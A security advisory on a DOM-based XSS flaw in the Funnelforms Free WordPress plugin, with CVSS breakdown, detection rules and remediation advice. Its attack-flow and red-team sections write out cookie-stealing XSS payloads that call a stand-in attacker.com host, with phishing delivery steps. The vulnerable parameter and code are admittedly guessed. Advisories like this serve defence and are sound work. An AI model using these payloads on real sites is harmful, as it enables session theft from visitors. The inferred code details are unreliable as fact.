CVE-2025-62758

Executive Summary

CVE-2025-62758 is a DOM-Based Cross-Site Scripting (XSS) vulnerability identified in the Funnelforms Free WordPress plugin, affecting versions up to and including 3.8. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. This is a client-side attack vector that does not require authentication, but does require user interaction (e.g., clicking a crafted link). The CVSS score of 6.5 (Medium) reflects the potential for data theft, session hijacking, and defacement. As of this report, no official patch has been released, and no public exploit code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's update channel and consider disabling the plugin until a patch is released. The lack of a patch increases supply chain risk for sites relying on Funnelforms Free.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a link or visit a crafted page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of WordPress plugins elevate the risk for unpatched installations.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the injection occurs entirely within the client-side JavaScript code. The plugin likely processes user input (e.g., via URL fragments, query parameters, or form fields) and dynamically writes it into the DOM without proper sanitization. An attacker can craft a malicious URL containing JavaScript payloads (e.g., <script>alert('XSS')</script>) that, when visited by an authenticated or unauthenticated user, executes in the browser context.

Attack Flow:

1. Attacker identifies a parameter in the Funnelforms Free plugin that is reflected in the DOM (e.g., a form field value, a URL hash).
2. Attacker crafts a URL with a malicious payload: https://victim-site.com/?form_field=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.
3. Victim clicks the link or is redirected to it.
4. The plugin's JavaScript reads the parameter and inserts it into the DOM without sanitization.
5. The injected script executes, stealing cookies, session tokens, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. The vulnerable code likely resembles:

// Vulnerable code (Funnelforms Free <= 3.8)
var userInput = getParameterByName('form_field');
document.getElementById('output').innerHTML = userInput;

A patched version would use safe DOM manipulation methods:

// Patched code (hypothetical)
var userInput = getParameterByName('form_field');
document.getElementById('output').textContent = userInput;
// Or with sanitization:
var sanitized = DOMPurify.sanitize(userInput);
document.getElementById('output').innerHTML = sanitized;

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Funnelforms Free <= 3.8 installed and active.
• No authentication required.

Exploit Steps:

1. Identify a vulnerable parameter (e.g., form_field, redirect_url, or a hash fragment).
2. Craft a payload that exfiltrates data:

   https://victim-site.com/?form_field=<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
   

3. Deliver the link to a victim via phishing email, social media, or other means.
4. The victim's browser executes the payload, sending cookies to the attacker's server.

No public exploit code is available. The above is a conceptual example.

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for suspicious query parameters containing <script>, <img onerror>, or other HTML/JavaScript constructs.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Deploy Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Disable the Funnelforms Free plugin until a patch is released.
• Implement input validation and output encoding on all user-supplied data.
• Use a security plugin (e.g., Wordfence) to add an additional layer of protection.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g., GET /steal?c=...).
  • Suspicious URL patterns in web logs: ?form_field=<script>, ?form_field=<img onerror=.
• Host IOCs:
  • Unexpected JavaScript execution in the browser (visible via browser developer tools).
  • Modified DOM elements containing injected scripts.
• File IOCs:
  • No specific file-based IOCs as this is a client-side vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_62758_DOM_XSS {
    meta:
        description = "Detects potential DOM-based XSS payloads targeting Funnelforms Free"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-62758"
    strings:
        $payload1 = /[?&]form_field=.*<script/i
        $payload2 = /[?&]form_field=.*<img\s+onerror/i
        $payload3 = /[?&]form_field=.*onload=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-62758 Funnelforms Free DOM XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with suspicious query parameters indicative of DOM-based XSS in Funnelforms Free plugin.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'form_field=<script'
            - 'form_field=<img onerror'
            - 'form_field=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in form fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62758 Funnelforms Free DOM XSS Attempt"; flow:to_server; content:"form_field="; nocase; content:"<script"; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and uninstall Funnelforms Free until a patch is available.
2. Apply virtual patching – Use a WAF to block requests containing form_field=<script or similar patterns.
3. Monitor logs – Review web server logs for exploitation attempts.

Long-Term Fix:

• The vendor must release a patched version that sanitizes all user input before inserting it into the DOM. Use textContent instead of innerHTML, or implement a robust sanitization library like DOMPurify.
• Users should update to the latest version once available.

Workarounds:

• Implement a Content Security Policy (CSP) that restricts script execution to trusted sources only.
• Use a WordPress security plugin to add an extra layer of XSS protection.

Valters IT